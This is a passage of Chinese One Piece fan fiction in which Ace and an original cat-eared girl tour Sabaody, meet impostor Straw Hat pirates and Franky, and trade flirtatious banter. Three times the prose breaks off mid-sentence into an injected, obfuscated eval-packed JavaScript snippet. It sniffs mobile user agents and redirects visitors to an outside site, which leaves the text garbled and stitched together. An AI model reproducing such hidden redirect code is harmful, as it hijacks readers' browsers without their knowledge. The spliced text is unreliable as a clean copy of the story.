而他身边那个看起来娇俏灵动、甚至带着点不谙世事好奇的猫耳少女,也绝非什么可以随意拿捏的软柿子。“凶星”小狸,白胡子海贼团近年来崛起最快的新星,悬赏金已经达到了一亿贝利。她或许没有艾斯那样惊天动地的传奇战绩,但香波地群岛的不法地带,尤其是那些消息最灵通的人口贩子和黑市中介,可都还记得大约两年前,那场发生在人类拍卖场的、让“天夜叉”多弗朗明哥都亲自现身并最终“礼送”出门的骚乱。这个女孩,是那场骚乱的核心之一,而且这上涨了将近一倍的赏金似乎也在昭示着,这个看起来弱不禁风的小姑娘似乎也在马林梵多做了什么。 当然,所有这些个人威名叠加在一起,都不及那个最根本、也最令人恐惧的事实:他们背后,站着那个世界最强的男人——白胡子爱德华·纽盖特。那个“老子还活着”的响彻新世界的宣告,稳稳地将所有子女庇护在其羽翼之下。触怒这对组合,等同于直接挑战整个白胡子海贼团的怒火。在这片海域,没有哪个脑子还清醒的家伙会轻易去触碰这样的锋芒。 因此,艾斯和小狸得以享受一种近乎“特权”的平静。这份特权并非来自法律或秩序,而是源于大海最原始、最赤裸的法则——力量与威慑。它让他们这个下午的约会,剥离了香波地固有的危险底色,只剩下纯粹的探索与甜蜜。 小狸拉着艾斯,几乎尝遍了沿途每一个引起她兴趣的小吃摊、他们乘坐了泡泡出租车,从高空俯瞰整个香波地群岛,吃伟大仙贝,品尝特有的泡泡煎饼、浮空冰淇淋,艾斯甚至找到了一家专门制作“伟大包子”的老字号,捧着相当夸张的满满的几大袋子出来,在小狸发火前塞了一个堵住了小狸的嘴,软糯的表皮和甜蜜的内馅让小狸瞬间就接受了这是买回去当做特产分给大家吃的借口,直到那堆包子在离开香波地之前就吃完了小狸才反应过来这不是和丢斯形容的一样么?艾斯只是自己嘴馋了而已,哪里是什么纪念品 当然,艾斯最满意的,还是在一家主打肉食的餐厅里品尝到的“火焰炙烤牛排”。厨师用特制喷枪精准炙烤牛排表面,发出滋滋声响,肉香四溢。 “这个好玩!”小狸看着厨师炫技般的操作,眼睛发亮,尾巴兴奋地拍打着椅子“回去可以试试看!我也会用火……” “你确定——”艾斯慢条斯理地切下一块汁水丰盈的牛肉送入口中,享受地眯起眼,然后才挑眉看向她,“你不会把牛排连同厨房一起烧掉?烤成焦炭的鱼可都还在海里哭呢” 回应他的是小狸从桌子下踢过来的一脚,以及一记毫无威力、更像撒娇的猫猫拳。艾斯笑着轻松接住她的拳头,包裹在自己掌心。 两人吃饱喝足,玩得乐不思蜀,几乎忘了时间。阳光开始西斜,给岛屿镀上更浓的金色。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014262|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“接下来去哪儿?”艾斯舔掉嘴角沾着的一点巧克力酱,意犹未尽地看着自家小猫。小狸正对着一面墙上的泡泡做鬼脸,闻言转过头,眼睛转了转。 “嗯……去33号GR怎么样?那边是乐园,我听说最近好像有个很有名的大人物要来开演唱会……”她努力回忆着之前隐约听到的传闻。 “噢!你也知道‘灵魂之王’吗?!”旁边一个原本正在喝果汁的年轻路人,听到“演唱会”和“大人物”,立刻兴奋地转过头搭话,一时竟忘了眼前两人的身份带来的压迫感,脸上洋溢着纯粹的狂热,“那可是灵魂之王啊!摇滚之神!音乐界的传说!他的巡回演出最后一场就在香波地!十天后,在33号GR的巨型泡泡体育馆!你们也是他的粉丝吗?那得赶紧去排队买票了!现在估计已经排成长龙了!错过这场,可就不知道要等多少年了!” “灵魂之王……?”小狸眨了眨眼,对这个名字有点陌生,但被对方激烈的情绪感染,也生出了兴趣。 两人对视了一眼。 “去吗?”艾斯问。 “最后一场哎?听起来好厉害!错过了就没机会了吧?要去要去!”小狸的好奇心成功被勾起。 他们谢过那位热情的路人,朝着33号GR进发。果然,距离所谓的“巨型泡泡体育馆”还有几条街,就已经看到了蜿蜒曲折、几乎看不到头的排队人群。喧闹声、议论声、还有黄牛兜售“优先号码”的吆喝声混杂在一起,气氛热烈得如同庆典。 小狸一开始还踮着脚尖,探头探脑,对排队本身也感到新奇。但随着时间的流逝,队伍移动缓慢,最初的兴奋逐渐被枯燥取代。她开始有些不耐烦,尾巴像条不耐烦的鞭子,在身后幅度越来越大、越来越快地甩来甩去,偶尔扫到后面人的小腿,惹来几声低呼,但大多看到她的手臂和前面艾斯的背影后,低呼又立刻憋了回去。 最后,她干脆放弃了,轻轻一跃,在周围人低低的惊呼声中,灵巧地变成小黑猫,几下就顺着艾斯的裤腿爬了上去,最后稳稳蹲在他宽阔的肩膀上。她先是用脑袋蹭了蹭他的脸颊,然后开始百无聊赖地、有一搭没一搭地用肉垫扒拉他帽檐下的黑色卷发,最后甚至用牙齿轻轻咬住一小缕,无聊地拉扯着玩。 艾斯被她弄得脖子痒痒,又觉得好笑。他抬起手,把肩膀上捣乱的小黑猫捉下来,托在掌心,小黑猫仰着脸,蓝眼睛无辜地看着他。 “我在这里排队,”艾斯用指腹揉了揉她的下巴,声音压低,带着纵容,“你去附近随便玩玩吧,别跑太远,注意安全,别惹麻烦……嗯,也别吃太多乱七八糟的东西。”他想了想,补充道。 “好哎!艾斯最好了!”小狸立刻用脑袋顶了顶他的下巴,飞快变回少女。她开心地搂住他的脖子,飞快地在他脸颊上“啾”地亲了一口,留下一点微湿的、带着糖果甜香的触感。 “我很快回来!”她像只快乐的小鸟,转身就蹦跳着融入了旁边热闹的人流。 艾斯站在原地,看着她轻盈的背影消失在街角,下意识地抬手,摸了摸刚刚被亲吻的脸颊。那里仿佛还残留着一点温软的、令人心悸的触感。他嘴角不自觉地向上翘起,形成一个温柔至极的弧度。然后,他低头,看着自己刚刚触摸过脸颊的食指和中指,将它们凑到唇边,极其自然地、轻轻地吻了一下,将那份甜蜜的触感,珍藏得更深一些。 93.冒牌货 暂时获得自由的小狸,在33号GR附近的商铺间快乐地穿梭。她先是在一家卖贝壳风铃的小店流连忘返、又去了一家玩具店看那个会自己唱歌的发条猴子,当然,最重要的“任务”也没忘——趁着艾斯不在,没人会念叨“小心吃坏肚子”或者“留点肚子吃晚饭”,她果断溜进一家看起来很受欢迎的甜品店,豪气地点了一份堆满水果和奶油的芭菲,以及一杯彩虹色的巨型冷饮,心满意足地大快朵颐。 吃饱喝足,拍着微微鼓起来的肚子,小狸开始思考接下来去哪里玩。游乐园的那些大型项目,她其实更想和艾斯一起去体验……就在她漫无目的地闲逛时,旁边露天茶座几个客人的对话,随风飘进了她的耳朵: “……听说了吗?那个‘草帽小子’好像来香波地了!” “真的假的?两年前闯进马林梵多的那个?” “绝对是真的!我有个在43号GR附近开店的朋友,他昨天亲眼看到的!还拿到了这个——”说话的人似乎拿出了一张纸,抖得哗啦响,“草帽海贼团正在招兵买马呢!说是要扩充战力,进军新世界!” “嚯!胆子不小啊!刚回来就这么大张旗鼓?” 草帽小子?路飞?招兵买马? 小狸的耳朵“唰”地竖得笔直,立刻转向声音来源。那桌是几个看上去像商人的男子,其中一个正拿着一张宣传单展示。小狸三两步凑了过去,蓝色的眼睛紧盯着那张纸: 上面画着草帽骷髅标志,用夸张的字体写着“草帽海贼团新世界启航!诚招强力伙伴!共创传奇!!”下面还有一些诸如“待遇优厚”、“前途无量”之类的煽动性话语。 “请问,”小狸突然开口“这个,在哪里可以见到他们?草帽一伙,现在在哪里?” 她的突然插入让那桌人吓了一跳,待看清她头顶的猫耳、以及她因为急切而微微露出的手臂上那个弦月胡须刺青时,几人的脸色瞬间白了,手里的宣传单像烫手山芋一样差点扔掉。 “这个,是、是在……40GR附近发的……”其中一个结结巴巴地回答,“好、好像是那边有人在集中招募……具体的我们也不清楚……” “40?多谢了!”小狸眼睛一亮,也顾不上细问,转身就朝着40GR的方向兴冲冲地跑去。心脏因为可能提前见到路飞而兴奋得咚咚直跳。 40……她记得那边主要是卖特产和观光纪念品的地方,路飞怎么会选在那里招人?没先去酒吧和大家汇合吗?不管了!嘿嘿,要是能先艾斯一步找到路飞,等下带过去,一定能吓他一跳!想象着艾斯惊讶的表情,小狸心里美滋滋的,脚步更快了。 然而,当她真正踏入40GR区域时,却感觉到一丝异样。这里虽然是特产和观光区,但氛围似乎比他们上午逛过的24GR还要混乱和浮躁一些。街道上人潮拥挤,各色人等混杂,吆喝声、讨价还价声、甚至偶尔的争执声此起彼伏,空气里弥漫着各种香料、腌鱼、廉价香水和汗液混合的复杂气味。一些角落里,眼神闪烁、交头接耳的人明显增多。 小狸没太在意这些细节,一心只想快点找到路飞的身影。她在拥挤嘈杂的街道上快速穿行,耳朵高高竖起,努力从鼎沸的人声中分辨着那熟悉的、充满活力的橡胶笨蛋的声音,或者娜美清脆的斥责、乌索普夸张的吹嘘…… 她找了好几条街,就在有些气馁,怀疑自己是不是找错了地方时,忽然,旁边一家看起来颇为喧闹的酒吧里,传出了一个让她精神一振的词: “……没错哦,我就是‘草帽海贼团’的航海士,‘小贼猫’娜美~” 娜美?! 小狸心头狂喜,想也不想,立刻调转方向,朝着那间酒吧冲了过去。 猛地推开酒吧那扇有些油腻的木门,里面浑浊的空气扑面而来。小狸的目光急切地扫过昏暗的室内,瞬间就锁定了声音来源——靠近吧台角落的墙边。 然后,她整个人彻底僵在了门口,脸上的兴奋和期待如同退潮般“唰”地一下消失得干干净净,只剩下一种混合了极度震惊、茫然、以及……深深惊恐的空白表情。 那里确实站着一个女人,正倚在斑驳的墙壁上。 她有着一头……嗯,大概可以称之为橙色的头发,在头顶绑成一个歪歪扭扭、毫无美感可言的发包,显得脸型更为宽大。她大腹便便,穿着一件圆点上衣,下面是一条薰衣草紫的短裙,勒出层层叠叠的赘肉。左肩画着那个小狸熟悉的属于娜美的橘子刺青。 此刻,这个“娜美”正对着一个路过的男人搔首弄姿: “这位强壮的大哥~要不要请人家喝一杯呀?人家可是‘草帽一伙’的航海士哦~擅长绘制海图和……嗯,解读男人的心事哦~”她扭了扭粗壮的腰肢,“我说不定可以破例,介绍你给我们的路飞船长认识哦~别人可没有这个待遇~” 小狸瞪大了眼睛,嘴巴无意识地微微张开,蓝色的瞳孔剧烈地震动着。她感觉自己的大脑“嗡”地一声,陷入了短暂的宕机。视线死死粘在了那个“娜美”身上,无法移开分毫。 一个可怕至极的念头,伴随着对“两年修行可能带来巨大改变”的未知恐惧,不受控制地、如同海啸般冲垮了她的理智防线: 两……两年不见……娜…娜美……她……她怎么……怎么会…… 变成这个样子了???!!! 这不能怪她想象力过于丰富。在她的认知里,两年过去外貌气质有所变化、甚至身上多些伤疤都是完全可以理解的。但是……眼前这种变化已经完全超出了她心理承受能力,这根本不是“变化”,这是“毁灭”吧?!难道娜美小姐在什么可怕的岛屿,遭遇了无法想象的磨难,导致审美、体型、甚至人格都发生了崩塌式的逆转吗?! 就在小狸瞳孔持续地震,尾巴上的毛因为过度惊吓炸开,脑海里已经不受控制地上演了“伙伴误入歧途惨遭邪恶势力改造毒害”的悲情苦情剧,并且快要被自己脑补的情节吓得眼泪汪汪时—— “咚!” 一个不轻不重、带着熟悉力度和温度的手刀,精准地敲在了她完全僵硬的脑门上。 “呜!好痛!”小狸捂住瞬间泛红的额头,生理性的泪花在眼眶里打转,她泪眼汪汪地、委屈又茫然地看向行凶者。 艾斯不知何时已经悄无声息地出现在她身后。他怀里依然捧着一大包印着香波地特产标志的油纸袋,里面除了包子,又多了一堆刚出炉的、撒着香喷喷海苔粉的圆形仙贝。他正咬着一片仙贝,咬得咔嚓咔嚓响,一脸无奈又好气又好笑地看着自家傻掉的小猫。他指了指酒吧角落里那个还在对着新目标抛媚眼的女人拖长了音调,语气里充满了调侃: “笨蛋小狸,动动你那被芭菲和冷饮塞满了的小脑袋,好好看看——”他故意顿了顿,看着小狸呆滞的表情,“那副尊容,那种做派,浑身上下哪一根头发丝,能跟你记忆里的娜美沾上边么?” “诶……?”小狸被敲得有点懵,她捂着额头,再次看向那个“娜美”。这一次,她强迫自己从震惊中抽离,用上了一点观察力。 确实……虽然发型和发色在拙劣地模仿,虽然纹身的位置一样,但……至少,这个年纪身高不会变矮的吧…… “我就说嘛……!”小狸长长地、长长地舒了一口气,紧绷的身体瞬间软了下来,“吓、吓死我了……艾斯……我刚才真的以为……”她拍着胸口,心有余悸,声音还带着点后怕的颤抖。刚才那几秒钟灵魂出窍般的惊吓,简直比面对爷爷的铁拳时,还要让她毛骨悚然。 艾斯看着她这副可怜又可爱的样子,忍不住哈哈大笑起来,笑声在略显嘈杂的酒吧里也清晰明朗。他从怀里油纸袋中掏出一块仙贝塞进了小狸因为后怕而微微张开的嘴里。“咔嚓咔嚓”的酥脆声响和咸香的海苔味,有效地驱散了最后一点荒诞的恐惧,将她的神智彻底拉回现实。 小狸鼓着腮帮子,机械地咀嚼着仙贝,目光却不由自主地再次飘向那个冒牌货,她慢慢皱起了眉,蓝色瞳孔里的困惑被锐利取代。 他们……到底想干什么?打着路飞他们的名号…… 艾斯也顺着她的目光,再次扫过这片乌烟瘴气的酒吧。他咬碎了嘴里最后一点仙贝,吞下。弯腰,从地上捡起一张被人踩过、有些皱巴巴的纸——正是那种“草帽海贼团招兵买马”的宣传单。他展开,快速扫过上面浮夸可笑的文字和粗糙的图案。 然后,他随手将传单揉成一团,精准地丢进了远处的垃圾桶。拍了拍手上沾着的仙贝碎屑,艾斯脸上的笑意已经彻底收敛,取而代之的是一种沉静的、带着玩味却又锐利无比的微光。他揽过小狸的肩膀,带着她转身,朝酒吧外走去,声音不高,却清晰地、带着某种洞察了有趣把戏般的了然,传入小狸耳中: “看来,香波地群岛的这段日子……还真是聚集了不少‘有趣’家伙啊。” --- 香波地群岛的傍晚,天空被落日余晖渲染成瑰丽的颜色。白天喧嚣的街道并未完全沉寂,但节奏明显慢了下来。各色灯光逐渐亮起,将街道切割成明暗交织的空间。 艾斯和小狸手牵着手,不紧不慢地朝着35GR的旅馆街走去。吃饱喝足后,身体和精神都松弛下来,步伐带着一种慵懒的默契。小狸的手指无意识地在艾斯掌心轻轻划着圈,目光偶尔被夜空中飘过的、发出微光的泡泡吸引,尾巴在身后慢悠悠地晃着,像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“哦——这样啊。”艾斯煞有介事地点点头,目光依旧看着前方,但笑意已经从眼角眉梢漏了出来,“那看来,某只小猫的‘正常品尝’分量有点惊人,不知道某人的肚子,还装不装得下今天的晚餐呢?”他故意用惋惜的语气说,“要是吃不下的话,我就只能自己勉为其难,全部解决掉咯。真是可惜,听说那家的烤蟹腿和黄油焗龙虾是一绝……” “吃得下!绝对吃得下!”小狸一听有好吃的,立刻把刚才那点羞窘抛到脑后,连忙表态,甚至还拍了拍自己其实依旧平坦的小腹表达自己消化能力异于常人也是种天赋,“运动一下很快就消化完了!我现在就能再吃一顿!” “运动?”艾斯终于转过头,完整地看向她。他像是想到了什么,街灯的光线从他侧后方打来,在他轮廓分明的脸上投下深邃的阴影,却让那双黑眼睛里的光芒显得格外清晰。那里面跳跃着的不再是单纯的促狭,而是混合了某种更深邃、更私密、只对着她才会流露的温柔与热度。 他握着她的手紧了紧,然后,带着薄茧的拇指指腹,开始在她柔软的手背,极其缓慢地、带着明确暗示意味地轻轻摩挲。动作很轻,痒痒的,却像带着细微的电流,顺着手背一路蔓延到小狸的胳膊,再到脊背,让她不由自主地微微战栗了一下。 艾斯微微俯身,靠近她的耳畔。温热的呼吸拂过她敏感的猫耳根部,声音压得低低的,带着磁性的沙哑,每个字都像羽毛搔刮在心尖上: “运动的话……要和我一起吗?”他顿了顿,气息更近,几乎贴着她的耳廓,补充了那个让她瞬间血液上涌的关键词,“两个人……的那种。” “轰——!” 小狸的脸颊以肉眼可见的速度,从淡淡的粉色瞬间爆红,一直红到耳根和脖颈,连头顶的猫耳都烫得仿佛要冒烟。她猛地抽回手,没抽动,只好用另一只手捂住了发烫的脸,只露出一双因为羞赧而水光潋滟、又带着点气急败坏的蓝眼睛,瞪向那个笑得一脸得逞、眼神却暗沉得让人心跳加速的罪魁祸首。 “你、你……还在路上呢!”她压低了声音,又羞又恼,尾巴都因为紧张而绷直了,“又说、又说这种怪话了!” 艾斯看着她这副手足无措、脸红得不行的可爱模样,眼底的笑意几乎要满溢出来。他非但没有收敛,反而变本加厉,就着他紧紧握着的手,轻轻啄吻了一下她的指尖,然后抬起眼,直直望进她慌乱的眼眸深处,声音放得更轻,带着毫不掩饰的期待和诱惑,一字一句地问: “那……回去以后,就可以说了吗?小猫~” 这简直是在她快要烧着的理智上又浇了一桶热油! “闭、闭嘴啦!!!”小狸彻底败下阵来,猛地低下头,不肯再抬起来。露在外面的耳朵和尾巴尖都在轻微地颤抖,不知道是羞的还是气的,或许兼而有之。 艾斯终于忍不住,低低地、愉悦地笑出声来。他没再继续逗她,只是将她更近地拉向自己身侧,圈出一方小小的、只属于两人的空间。 所以,为了美味的晚餐,没有拒绝就是同意了吧,运动 94.我也能加入么 始终没有路飞的消息,小狸还没放弃先艾斯一步找到路飞的计划,每天四处闲逛,倒是艾斯,似乎很享受这段难得的、没有明确目标、只需陪伴小猫的悠闲时光。 这天下午,他们照例晃悠到夏琪的酒吧。推开门,还没来得及和吧台后擦拭杯子的夏琪打招呼,一个异常洪亮、充满奇特韵律感、仿佛自带扩音效果的男声就炸响在略显安静的酒吧里: “我是弗兰奇——Super!!!” 只见酒吧中央,站着一个极其醒目的存在。他身材高大魁梧得夸张,皮肤是健康的古铜色,最引人注目的是他那身打扮,两只巨大的机械手臂,双腿带着钢板,上身穿着衬衫下面却只穿着一条红色的三角内裤,墨镜遮住了他的眼睛,蓝色的头发剃成板寸,此刻正摆出一个双臂并在头顶、双腿分立、下巴高昂的奇特造型 夏琪在一旁,单手扶额,一副“又来了”的无奈表情。她看到小狸和艾斯进来,尤其是小狸瞬间瞪大的眼睛和微微炸开的尾巴毛,连忙出声安抚: “小狸,艾斯,别紧张。这位是弗兰奇,算是……路飞的伙伴之一。虽然造型和举止有点,咳,独特,但只是个头脑简单的变态而已,不伤人的。” “喂喂!夏琪大姐头!”弗兰奇立刻放下造型,转向夏琪,语气带着点被夸奖般的自豪,“你这是在说我变态吗?挺会夸人的嘛!” 然而,预想中小狸被吓到躲到艾斯身后的场景并没有出现。 恰恰相反,小狸的眼睛,在最初的惊愕过后,“唰”地一下,亮得惊人!那不是恐惧或厌恶,而是一种混合了极度好奇、探究和某种狂热的光芒!她甚至松开了艾斯的手,像只发现新玩具,几步就凑到了弗兰奇面前,围着他开始打转,蓝色的瞳孔上下扫描,仿佛在评估一件精密的仪器。 “机械……机械改造?!”她的声音因为兴奋而微微发颤,手指悬在空中,想碰又不敢碰,指着弗兰奇手臂上明显的金属接口、裸露的金属结构,还有那异常宽阔的、似乎内藏乾坤的胸膛,“真的可以做到这种程度的吗?!好厉害!这、这简直是——” 她想到了老K。那个在锈带昏暗诊所里,对着残缺的机械义肢图纸喃喃自语、眼中燃烧着无力与渴望的养父。眼前这个男人,简直是把老K那些破碎梦想变成了活生生的现实! “有副作用吗?!关节活动流畅度怎么样?能量源是什么?会有幻痛吗?神经接驳是怎么处理的?思考呢?大脑信号传递会不会有延迟或者干扰?!”问题像连珠炮一样从小狸嘴里蹦出来,她越凑越近,几乎要贴到弗兰奇身上,尾巴因为激动而高高竖起,尾尖急促地抖动,一副恨不得立刻拿出工具把眼前这个“完美作品”拆开研究个透彻的样子。 弗兰奇一开始还被这突如其来的,在他看来充满崇拜的围观弄得有点飘飘然,摆出了几个更夸张的姿势:“哈哈哈!小姑娘很有眼光嘛!没错,这就是男子汉的浪漫!钢铁与血肉的Super结合!”但当小狸的问题越来越专业、眼神越来越像要把他当场解剖时,这位平时天不怕地不怕的改造人也有点招架不住了。他求助般地看向夏琪,墨镜都歪了一点。 夏琪忍着笑,耸耸肩,表示爱莫能助。 最后还是艾斯看不下去了,两步上前,伸手揽住小狸的腰,轻轻松松就把这只兴奋过头、快要爬到弗兰奇胳膊上的好奇小猫给“捞”了回来,圈在自己怀里。 “抱歉啊。”艾斯对着一脸“得救了”表情的弗兰奇点点头,语气带着歉意和笑意,手指安抚地顺了顺小狸的头发,“这是小狸。她……以前接触过一些不太成功的改造案例,对此很执着,所以看到你这样完美的……嗯,‘作品’,有点太兴奋了。” “哦哦!原来如此!是同行的赞赏吗!Super感动!”弗兰奇立刻理解了,挺起胸膛,又恢复了那副自豪的模样,“不过小姑娘,我的动力可是这个——”他不知从哪掏出一瓶可乐,砰地打开,咕咚咕咚灌下去大半瓶,然后满足地打了个嗝,“可乐!!Super满足!!” “哇!!!!”小狸在艾斯怀里挣扎了一下,眼睛瞪得更圆了,“可乐?!!这到底是什么转化原理?!热效率怎么样?续航时间呢?!” 眼看小狸又要化身“十万个为什么”,艾斯无奈地收紧手臂,低声在她耳边说:“乖,下次再问。”然后对弗兰奇笑了笑,转移话题:“我是波特卡斯·D·艾斯,路飞的哥哥。接下来一段时间,我们打算和你们同行,请多关照。” 弗兰奇这才把注意力完全放到艾斯身上,他把墨镜往下推了推,仔细看了看艾斯的脸,随即张大了嘴巴,露出极其震惊的表情:“呜哇——!!!真的是火拳艾斯!路飞那小子传说中已经……啊不是!总之,能和传奇人物一起出海,真是太棒了!放心吧,包在我身上!” 有了弗兰奇的加入,等待的日子似乎有趣了一些。不久,千里阳光号也被成功找到并驶来了指定船坞。弗兰奇和雷利立刻开始了紧张的镀膜工作。透明的、强韧的泡泡薄膜在特殊手法下,如同有生命般,从船底开始,一点点蔓延,包裹住整艘造型奇特的狮子头帆船。 小狸坐在高高的桅杆上,晃荡着双腿,好奇地观察着下面的作业。阳光透过红树洒下斑驳的光影,镀膜的过程像是一场奇妙的魔术,可她只敢远远地看着。 每次她试图靠近一点,想看得更仔细,或者忍不住问个问题,雷利就会像背后长眼睛一样,在她还没反应过来时,那只大手就已经精准地伸过来,一把将她捞过去,然后毫不客气地用他那粗糙的掌心,把她好不容易梳理顺滑的头发揉成一团疯狂的鸟窝。任她怎么蹬腿挣扎、龇牙抗议都完全不是对手,最后只能顶着一头乱发,气鼓鼓地被放开。 “坏心眼的大叔……”小狸小声嘟囔敢怒不敢言,目光却不由自主地被镀膜的过程吸引。泡泡在阳光下折射出七彩光芒,工匠的手法娴熟得如同艺术。她看得入迷,身体不自觉地越探越远,完全没意识到危险—— “啊!” 脚下用来垫脚的缆绳突然一松,失重感瞬间袭来!小狸短促地惊叫一声,手忙脚乱地去抓桅杆。指甲下意识地弹出锋利的爪尖,但在即将触及包裹着新鲜泡泡膜的桅杆表面时,她猛地想起什么,硬生生止住了动作,迅速将爪子缩了回去——不能抓!会弄坏大家辛苦工作的成果!也不能跳下去,万一弄破了怎么办……怎么办怎么办 这样想着,她只能徒劳地用双臂紧紧抱住光滑的桅杆,整个人像只树袋熊一样,一点一点、不受控制地向下滑落,裙摆和尾巴在空中无助地晃荡。 桅杆下方,艾斯正悠闲地躺在一张临时搬来的躺椅上。橘色的牛仔帽盖在脸上,遮住了午后的阳光,海风轻柔,他几乎快要沉入梦乡,直到那声熟悉的、带着惊慌的短促惊呼瞬间刺破了他的睡意。几乎是身体的本能反应,他猛地掀开脸上的帽子,抬头望去,正好看见他家那只小猫,正可怜巴巴地抱着桅杆,正以一种缓慢又滑稽的姿势,一点一点往下滑。 艾斯失笑,胸腔震动。他没起身,甚至没调整姿势,只是懒洋洋地、无比笃定地对着上方张开了双臂,声音带着微哑和满满的笑意: “别怕,接住你了。” 听到这话的小狸几乎想也没想,看着下方那个熟悉可靠的怀抱,毫不犹豫地松开了已经发酸的手臂。 轻盈的身影落下,带着一点微风和阳光的味道。 冲击力让躺椅轻轻摇晃了几下。小狸惊魂未定地跌坐在艾斯的腹部,双手下意识地撑在他赤裸的、结实紧致的胸膛上,掌心下是温热的肌肤和有力平稳的心跳。而艾斯的手,也自然而然地环了上来,稳稳扶在她纤细的腰肢。 温热从腰侧接触点迅速蔓延开来,像一小簇火苗。小狸被这温度和过于亲昵的姿势烫得轻轻一颤。她慌忙抬起眼,四下张望,确认雷利和弗兰奇都背对着这边、专注于工作时,才小小地松了口气,但脸颊已经不受控制地开始发热。 “吓到了?”艾斯低笑,扶在她腰侧的手若有若无的轻轻捏了一下,轻轻摩挲 小狸不自在地扭了扭身子,想从他身上下去,却被腰间突然收紧的手臂稳稳禁锢住,动弹不得。 “放开我啦……”她小声抗议,声音因为羞赧而显得软糯,耳尖染上了可爱的绯红。 艾斯没有回答,只是目光沉静地看着她。怀中少女微微嘟起的唇瓣粉嫩柔软,湿润的蓝色眼眸里还残留着一丝未散的惊慌,蒙着薄薄水汽,此刻又羞又恼地瞪着他 “艾斯……坏心眼。”她软软地抱怨了一句,尾音带着点不自知的撒娇。 艾斯喉结滚动了一下,不自觉地咽了咽口水。他盯着她近在咫尺的、微微开合的唇瓣,嗓音低哑得不像话: “这可是……”他顿了顿,手臂又收紧了些,让两人贴得更密不透风,“你自己跳进我怀里的。” 察觉到某种危险气息的小狸,本能地缩了缩脖子,直觉告诉她最好立刻逃跑。但在执行逃跑计划前——本着绝不亏本的原则她的爪子悄悄在艾斯饱满的胸肌上摸了两把,然后迅速俯身,在他怔愣的瞬间,将一个轻如蝶翼的吻落在他眉间。 艾斯被她这猝不及防的“偷袭”弄得一怔。 就是现在! 小狸眼中狡黠的光芒一闪,“这是谢礼!”她得逞般地眨眨眼,像一尾终于挣脱渔网的鱼,腰身一扭,手臂一撑,灵巧无比地从他因为惊讶骤然放松的怀抱中挣脱出来,轻盈地落在地上。 艾斯完全没料到她这一套动作,待他回过神,那只胆大包天、撩完就跑的小猫已经跳出三四步远,正回头对他吐着舌头,做了个鬼脸。 “你……”艾斯无奈地坐起身,感受到身体某处明显到不容忽视的反应,他有些不自然地交叠起双腿,掩饰着尴尬。望着那个已经蹦蹦跳跳准备溜下船的娇小背影,他抬高声音,带着未褪的沙哑和一丝咬牙切齿的宠溺,发出警告: “下次……我可不会这么好打发了哦,小狸。” 阳光下,小狸回头,对他绽开一个灿烂又带着点小得意的笑容,猫耳愉快地抖动着,然后“嗖”地一下,跑下船梯,汇入香波地街道的人流中,转眼不见了踪影。 --- 小狸依旧没放弃在40号GR转悠。她总觉得,说不定路飞那个不按常理出牌的橡胶笨蛋,真的会出现在这种意想不到的地方 她又被一阵异常的喧闹吸引了注意力。似乎是从一个聚集了不少海贼的广场方向传来的。 “快看!草帽小子!草帽小子路飞出现了!” “真的假的?在哪儿?” “就在前面!听说在亲自招募船员呢!几个干部都在!” “哇!快去看热闹!说不定能捞点好处!” “招募船员”四个字瞬间浇熄了小狸大半的期待。又是冒牌货吗?真是没完没了。她撇撇嘴,但脚步还是不由自主地朝那边挪去。万一是真的呢?哪怕只有万分之一的可能,而且……反正也无聊,去看看冒牌货又能演出什么新花样,就当解闷了。 她挤进围观的人群,视野豁然开朗。只见巷子中间一小块空地上,被清理了出来,摆着几张桌椅。一个体型肥胖臃肿、几乎看不到脖子的男人,大喇喇地坐在主位上。他戴着顶边缘起毛、显得很旧的宽檐草帽,穿着模仿路飞风格的红色马甲,手里还像模像样地拿着一把手枪,对着下面几个面露敬畏或讨好的男人晃来晃去。 最离谱的是,他刻意袒露的肚腩左上方弄了个粗糙的交叉疤痕,连左眼下面,也拙劣地描了一道疤。但可以说,除了那顶破草帽和红色马甲,这个冒牌货浑身上下没有一处能与路飞扯上关系——气质、体型、眼神,甚至是那虚张声势、拿枪唬人的做派,都与路飞天差地别。 “喂喂喂!”冒牌路飞用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17022988|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手枪管不耐烦地敲着桌子,声音粗嘎,“你以为我是谁啊?老子可是‘草帽路飞’!那个闯进海军总部马林梵多、搅得天翻地覆的大海贼!你这种悬赏金才几千万贝利的小角色,也想加入我的旗下?做梦呢!滚吧滚吧!”他嫌弃地挥着手,仿佛驱赶苍蝇。 他抱怨地转向身边的人——正是小狸之前见过的那个冒牌娜美,以及另外几个模仿乌索普、山治索隆的男女。“真是的,来的都是些什么歪瓜裂枣!烦死了!一点名气都没有!” 冒牌乌索普连忙点头哈腰地接话:“别着急啊路飞船长,咱们这不是也招募到几十号人了嘛!等到了新世界,拉起队伍,咱们也是响当当的大海贼团了,到时候自然有高手来投奔……” 就在这时,一个软糯清脆、带着点少女特有娇憨的嗓音,打断了他们的对话,清晰地响在广场上: “那个——请问,我也可以加入吗?” 